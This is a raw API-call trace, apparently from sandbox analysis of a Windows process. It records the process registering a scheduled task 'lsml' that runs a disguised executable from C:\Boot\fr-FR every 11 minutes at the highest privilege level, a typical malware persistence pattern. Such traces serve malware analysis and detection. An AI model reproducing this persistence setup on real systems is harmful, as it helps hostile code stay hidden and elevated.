[0084.664] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|f|") returned 3 [0084.664] lstrlenW (lpString="|k|") returned 3 [0084.664] lstrlenW (lpString="|f|") returned 3 [0084.665] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0084.665] SetLastError (dwErrCode=0x490) [0084.665] lstrlenW (lpString="du") returned 2 [0084.665] lstrlenW (lpString="du") returned 2 [0084.665] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.665] lstrlenW (lpString="f") returned 1 [0084.665] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.665] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|du|") returned 4 [0084.665] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|f|") returned 3 [0084.665] lstrlenW (lpString="|du|") returned 4 [0084.665] lstrlenW (lpString="|f|") returned 3 [0084.665] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0084.665] SetLastError (dwErrCode=0x490) [0084.665] lstrlenW (lpString="ri") returned 2 [0084.665] lstrlenW (lpString="ri") returned 2 [0084.665] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.665] lstrlenW (lpString="f") returned 1 [0084.665] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.665] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|ri|") returned 4 [0084.665] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|f|") returned 3 [0084.665] lstrlenW (lpString="|ri|") returned 4 [0084.665] lstrlenW (lpString="|f|") returned 3 [0084.665] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0084.665] SetLastError (dwErrCode=0x490) [0084.665] lstrlenW (lpString="z") returned 1 [0084.665] lstrlenW (lpString="z") returned 1 [0084.666] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.666] lstrlenW (lpString="f") returned 1 [0084.666] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.666] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|z|") returned 3 [0084.666] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|f|") returned 3 [0084.666] lstrlenW (lpString="|z|") returned 3 [0084.666] lstrlenW (lpString="|f|") returned 3 [0084.666] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0084.666] SetLastError (dwErrCode=0x490) [0084.666] lstrlenW (lpString="f") returned 1 [0084.666] lstrlenW (lpString="f") returned 1 [0084.666] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.666] lstrlenW (lpString="f") returned 1 [0084.666] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.666] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|f|") returned 3 [0084.666] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|f|") returned 3 [0084.666] lstrlenW (lpString="|f|") returned 3 [0084.666] lstrlenW (lpString="|f|") returned 3 [0084.666] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0084.666] SetLastError (dwErrCode=0x0) [0084.666] SetLastError (dwErrCode=0x0) [0084.666] GetProcessHeap () returned 0x250000 [0084.666] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26ce90 [0084.666] _memicmp (_Buf1=0x26bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.666] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x26d3c0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0084.667] lstrlenW (lpString="LIMITED") returned 7 [0084.667] GetProcessHeap () returned 0x250000 [0084.667] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x10) returned 0x26d680 [0084.667] GetThreadLocale () returned 0x409 [0084.667] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0084.667] GetProcessHeap () returned 0x250000 [0084.667] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26ce60 [0084.667] _memicmp (_Buf1=0x26bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.667] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x26d3c0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0084.667] lstrlenW (lpString="HIGHEST") returned 7 [0084.667] GetProcessHeap () returned 0x250000 [0084.667] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x10) returned 0x26d6a0 [0084.667] GetThreadLocale () returned 0x409 [0084.667] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0084.667] GetProcessHeap () returned 0x250000 [0084.667] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26ce30 [0084.667] _memicmp (_Buf1=0x26bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.667] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x26d3c0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0084.667] lstrlenW (lpString="MINUTE") returned 6 [0084.667] GetProcessHeap () returned 0x250000 [0084.667] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xe) returned 0x26d6c0 [0084.667] GetThreadLocale () returned 0x409 [0084.667] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0084.668] SetLastError (dwErrCode=0x0) [0084.668] GetProcessHeap () returned 0x250000 [0084.668] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x1fc) returned 0x26c470 [0084.668] GetProcessHeap () returned 0x250000 [0084.668] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26ce00 [0084.668] _memicmp (_Buf1=0x26bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.668] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x26d3c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0084.668] lstrlenW (lpString="First") returned 5 [0084.668] GetProcessHeap () returned 0x250000 [0084.668] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xc) returned 0x26d6e0 [0084.668] GetProcessHeap () returned 0x250000 [0084.668] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cdd0 [0084.668] _memicmp (_Buf1=0x26bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.668] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x26d3c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0084.668] lstrlenW (lpString="Second") returned 6 [0084.668] GetProcessHeap () returned 0x250000 [0084.668] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xe) returned 0x26d700 [0084.668] GetProcessHeap () returned 0x250000 [0084.668] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cda0 [0084.668] _memicmp (_Buf1=0x26bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.668] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x26d3c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0084.668] lstrlenW (lpString="Third") returned 5 [0084.668] GetProcessHeap () returned 0x250000 [0084.668] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xc) returned 0x26d720 [0084.669] GetProcessHeap () returned 0x250000 [0084.669] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cd70 [0084.669] _memicmp (_Buf1=0x26bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.669] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x26d3c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0084.669] lstrlenW (lpString="Fourth") returned 6 [0084.669] GetProcessHeap () returned 0x250000 [0084.669] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xe) returned 0x26d740 [0084.669] _memicmp (_Buf1=0x26bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.669] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x26d3c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0084.670] lstrlenW (lpString="Last") returned 4 [0084.670] GetProcessHeap () returned 0x250000 [0084.670] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xa) returned 0x26d760 [0084.670] lstrlenW (lpString="11") returned 2 [0084.670] _wtol (_String="11") returned 11 [0084.670] _memicmp (_Buf1=0x26bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.670] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x26d3c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0084.671] lstrlenW (lpString="First") returned 5 [0084.671] _memicmp (_Buf1=0x26bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.671] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x26d3c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0084.671] lstrlenW (lpString="Second") returned 6 [0084.671] _memicmp (_Buf1=0x26bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.671] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x26d3c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0084.671] lstrlenW (lpString="Third") returned 5 [0084.671] _memicmp (_Buf1=0x26bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.671] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x26d3c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0084.671] lstrlenW (lpString="Fourth") returned 6 [0084.671] _memicmp (_Buf1=0x26bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.671] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x26d3c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0084.671] lstrlenW (lpString="Last") returned 4 [0084.671] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xdc060, cchData=128 | out: lpLCData="0") returned 2 [0084.671] _memicmp (_Buf1=0x26bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.671] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x26d3c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0084.672] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0084.672] GetProcessHeap () returned 0x250000 [0084.672] GetProcessHeap () returned 0x250000 [0084.672] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d6e0) returned 1 [0084.672] GetProcessHeap () returned 0x250000 [0084.672] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d6e0) returned 0xc [0084.672] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d6e0 | out: hHeap=0x250000) returned 1 [0084.672] GetProcessHeap () returned 0x250000 [0084.672] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x16) returned 0x26d6e0 [0084.672] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xdc080, cchData=128 | out: lpLCData="0") returned 2 [0084.672] _memicmp (_Buf1=0x26bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.672] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x26d3c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0084.672] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0084.672] GetProcessHeap () returned 0x250000 [0084.672] GetProcessHeap () returned 0x250000 [0084.672] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d700) returned 1 [0084.672] GetProcessHeap () returned 0x250000 [0084.672] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d700) returned 0xe [0084.672] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d700 | out: hHeap=0x250000) returned 1 [0084.672] GetProcessHeap () returned 0x250000 [0084.672] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x16) returned 0x26d700 [0084.672] GetLocalTime (in: lpSystemTime=0xdc2b0 | out: lpSystemTime=0xdc2b0*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x9, wMilliseconds=0x26)) [0084.672] lstrlenW (lpString="") returned 0 [0084.673] GetLocalTime (in: lpSystemTime=0xdcb68 | out: lpSystemTime=0xdcb68*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x9, wMilliseconds=0x26)) [0084.673] lstrlenW (lpString="") returned 0 [0084.673] lstrlenW (lpString="") returned 0 [0084.673] lstrlenW (lpString="") returned 0 [0084.673] lstrlenW (lpString="") returned 0 [0084.673] lstrlenW (lpString="11") returned 2 [0084.673] _wtol (_String="11") returned 11 [0084.673] lstrlenW (lpString="") returned 0 [0084.673] lstrlenW (lpString="") returned 0 [0084.673] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0084.773] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0084.872] CoCreateInstance (in: rclsid=0xff901ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff901ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xdc930 | out: ppv=0xdc930*=0x227b60) returned 0x0 [0084.885] TaskScheduler:ITaskService:Connect (This=0x227b60, serverName=0xdca10*(varType=0x8, wReserved1=0xd, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xdc9d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0xdc9f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xdc9b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0085.024] TaskScheduler:IUnknown:AddRef (This=0x227b60) returned 0x2 [0085.024] TaskScheduler:ITaskService:GetFolder (in: This=0x227b60, Path=0x0, ppFolder=0xdcac8 | out: ppFolder=0xdcac8*=0x35df30) returned 0x0 [0085.028] TaskScheduler:ITaskService:NewTask (in: This=0x227b60, flags=0x0, ppDefinition=0xdcac0 | out: ppDefinition=0xdcac0*=0x227d20) returned 0x0 [0085.028] ITaskDefinition:get_Actions (in: This=0x227d20, ppActions=0xdca40 | out: ppActions=0xdca40*=0x227de0) returned 0x0 [0085.028] IActionCollection:Create (in: This=0x227de0, Type=0, ppAction=0xdca60 | out: ppAction=0xdca60*=0x2261a0) returned 0x0 [0085.029] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0085.029] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0085.029] lstrlenW (lpString=" ") returned 1 [0085.029] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0085.029] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0085.029] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0085.029] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0085.029] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0085.029] StrChrW (lpStart=" ", wMatch=0x42) returned 0x0 [0085.029] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0085.029] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0085.029] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0085.029] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0085.029] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0085.029] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0085.029] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0085.029] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0085.029] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0085.029] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0085.029] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0085.029] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0085.029] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0085.029] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0085.029] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0085.030] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0085.030] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0085.030] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0085.030] IUnknown:Release (This=0x2261a0) returned 0x1 [0085.030] IUnknown:Release (This=0x227de0) returned 0x1 [0085.030] ITaskDefinition:get_Triggers (in: This=0x227d20, ppTriggers=0xdc5c0 | out: ppTriggers=0xdc5c0*=0x227f20) returned 0x0 [0085.030] ITriggerCollection:Create (in: This=0x227f20, Type=1, ppTrigger=0xdc5b8 | out: ppTrigger=0xdc5b8*=0x226210) returned 0x0 [0085.030] lstrlenW (lpString="11") returned 2 [0085.030] _vsnwprintf (in: _Buffer=0xdc540, _BufferCount=0xf, _Format="PT%sM", _ArgList=0xdc538 | out: _Buffer="PT11M") returned 5 [0085.030] ITrigger:get_Repetition (in: This=0x226210, ppRepeat=0xdc5b0 | out: ppRepeat=0xdc5b0*=0x2262a0) returned 0x0 [0085.031] IRepetitionPattern:put_Interval (This=0x2262a0, Interval="PT11M") returned 0x0 [0085.031] IUnknown:Release (This=0x2262a0) returned 0x1 [0085.031] _vsnwprintf (in: _Buffer=0xdc500, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xdc4d8 | out: _Buffer="2023-09-19T17:17:00") returned 19 [0085.031] ITrigger:put_StartBoundary (This=0x226210, StartBoundary="2023-09-19T17:17:00") returned 0x0 [0085.031] lstrlenW (lpString="") returned 0 [0085.031] lstrlenW (lpString="") returned 0 [0085.031] lstrlenW (lpString="") returned 0 [0085.031] lstrlenW (lpString="") returned 0 [0085.031] IUnknown:Release (This=0x226210) returned 0x1 [0085.031] IUnknown:Release (This=0x227f20) returned 0x1 [0085.031] ITaskDefinition:get_Settings (in: This=0x227d20, ppSettings=0xdca60 | out: ppSettings=0xdca60*=0x225f80) returned 0x0 [0085.031] lstrlenW (lpString="") returned 0 [0085.031] IUnknown:Release (This=0x225f80) returned 0x1 [0085.031] GetLocalTime (in: lpSystemTime=0xdc918 | out: lpSystemTime=0xdc918*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x9, wMilliseconds=0x18c)) [0085.032] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0085.032] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0085.032] GetUserNameW (in: lpBuffer=0xdc940, pcbBuffer=0xdc928 | out: lpBuffer="kEecfMwgj", pcbBuffer=0xdc928) returned 1 [0085.032] ITaskDefinition:get_RegistrationInfo (in: This=0x227d20, ppRegistrationInfo=0xdc910 | out: ppRegistrationInfo=0xdc910*=0x227e60) returned 0x0 [0085.033] IRegistrationInfo:put_Author (This=0x227e60, Author="") returned 0x0 [0085.033] _vsnwprintf (in: _Buffer=0xdc940, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xdc8d8 | out: _Buffer="2023-09-19T17:17:09") returned 19 [0085.033] IRegistrationInfo:put_Date (This=0x227e60, Date="") returned 0x0 [0085.033] IUnknown:Release (This=0x227e60) returned 0x1 [0085.033] malloc (_Size=0x18) returned 0x227fb0 [0085.034] free (_Block=0x227fb0) [0085.034] lstrlenW (lpString="") returned 0 [0085.034] ITaskDefinition:get_Principal (in: This=0x227d20, ppPrincipal=0xdcb30 | out: ppPrincipal=0xdcb30*=0x2260f0) returned 0x0 [0085.034] IPrincipal:put_RunLevel (This=0x2260f0, RunLevel=1) returned 0x0 [0085.034] IUnknown:Release (This=0x2260f0) returned 0x1 [0085.034] malloc (_Size=0x18) returned 0x227fb0 [0085.034] ITaskFolder:RegisterTaskDefinition (in: This=0x35df30, Path="lsml", pDefinition=0x227d20, flags=6, UserId=0xdcbb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xdcbf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xdeac0, varVal2=0xfe), LogonType=3, sddl=0xdcbd0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xdcad0 | out: ppTask=0xdcad0*=0x226480) returned 0x0 [0085.494] free (_Block=0x227fb0) [0085.494] _memicmp (_Buf1=0x26bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.494] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x26d3c0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0085.494] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0085.494] GetProcessHeap () returned 0x250000 [0085.494] GetProcessHeap () returned 0x250000 [0085.494] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d720) returned 1 [0085.494] GetProcessHeap () returned 0x250000 [0085.494] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d720) returned 0xc [0085.494] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d720 | out: hHeap=0x250000) returned 1 [0085.494] GetProcessHeap () returned 0x250000 [0085.494] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x82) returned 0x289b70 [0085.494] _vsnwprintf (in: _Buffer=0xdd210, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xdca78 | out: _Buffer="SUCCESS: The scheduled task \"lsml\" has successfully been created.\n") returned 66 [0085.494] _fileno (_File=0x7feffe22ab0) returned -2 [0085.494] _errno () returned 0x224bb0 [0085.494] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0085.495] SetLastError (dwErrCode=0x6) [0085.495] lstrlenW (lpString="SUCCESS: The scheduled task \"lsml\" has successfully been created.\n") returned 66 [0085.495] GetConsoleOutputCP () returned 0x0 [0085.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"lsml\" has successfully been created.\n", cchWideChar=66, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0085.495] GetConsoleOutputCP () returned 0x0 [0085.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"lsml\" has successfully been created.\n", cchWideChar=66, lpMultiByteStr=0xff941880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"lsml\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 66 [0085.495] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 66 [0085.495] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0085.495] IUnknown:Release (This=0x226480) returned 0x0 [0085.496] TaskScheduler:IUnknown:Release (This=0x227d20) returned 0x0 [0085.496] TaskScheduler:IUnknown:Release (This=0x35df30) returned 0x0 [0085.496] TaskScheduler:IUnknown:Release (This=0x227b60) returned 0x1 [0085.496] lstrlenW (lpString="") returned 0 [0085.496] lstrlenW (lpString="11") returned 2 [0085.496] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="11", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0085.496] GetProcessHeap () returned 0x250000 [0085.496] GetProcessHeap () returned 0x250000 [0085.496] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c470) returned 1 [0085.496] GetProcessHeap () returned 0x250000 [0085.496] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c470) returned 0x1fc [0085.497] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c470 | out: hHeap=0x250000) returned 1 [0085.498] GetProcessHeap () returned 0x250000 [0085.498] GetProcessHeap () returned 0x250000 [0085.498] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26bab0) returned 1 [0085.498] GetProcessHeap () returned 0x250000 [0085.498] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26bab0) returned 0x6 [0085.498] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26bab0 | out: hHeap=0x250000) returned 1 [0085.498] GetProcessHeap () returned 0x250000 [0085.498] GetProcessHeap () returned 0x250000 [0085.498] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d640) returned 1 [0085.498] GetProcessHeap () returned 0x250000 [0085.498] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d640) returned 0x16 [0085.498] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d640 | out: hHeap=0x250000) returned 1 [0085.498] GetProcessHeap () returned 0x250000 [0085.498] GetProcessHeap () returned 0x250000 [0085.498] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d620) returned 1 [0085.498] GetProcessHeap () returned 0x250000 [0085.498] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d620) returned 0x18 [0085.498] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d620 | out: hHeap=0x250000) returned 1 [0085.498] GetProcessHeap () returned 0x250000 [0085.498] GetProcessHeap () returned 0x250000 [0085.498] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cef0) returned 1 [0085.498] GetProcessHeap () returned 0x250000 [0085.498] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cef0) returned 0x20 [0085.499] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cef0 | out: hHeap=0x250000) returned 1 [0085.499] GetProcessHeap () returned 0x250000 [0085.499] GetProcessHeap () returned 0x250000 [0085.499] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c110) returned 1 [0085.499] GetProcessHeap () returned 0x250000 [0085.499] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c110) returned 0xa0 [0085.500] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c110 | out: hHeap=0x250000) returned 1 [0085.500] GetProcessHeap () returned 0x250000 [0085.500] GetProcessHeap () returned 0x250000 [0085.500] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26bb90) returned 1 [0085.500] GetProcessHeap () returned 0x250000 [0085.500] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26bb90) returned 0x18 [0085.500] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26bb90 | out: hHeap=0x250000) returned 1 [0085.500] GetProcessHeap () returned 0x250000 [0085.500] GetProcessHeap () returned 0x250000 [0085.500] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc50) returned 1 [0085.500] 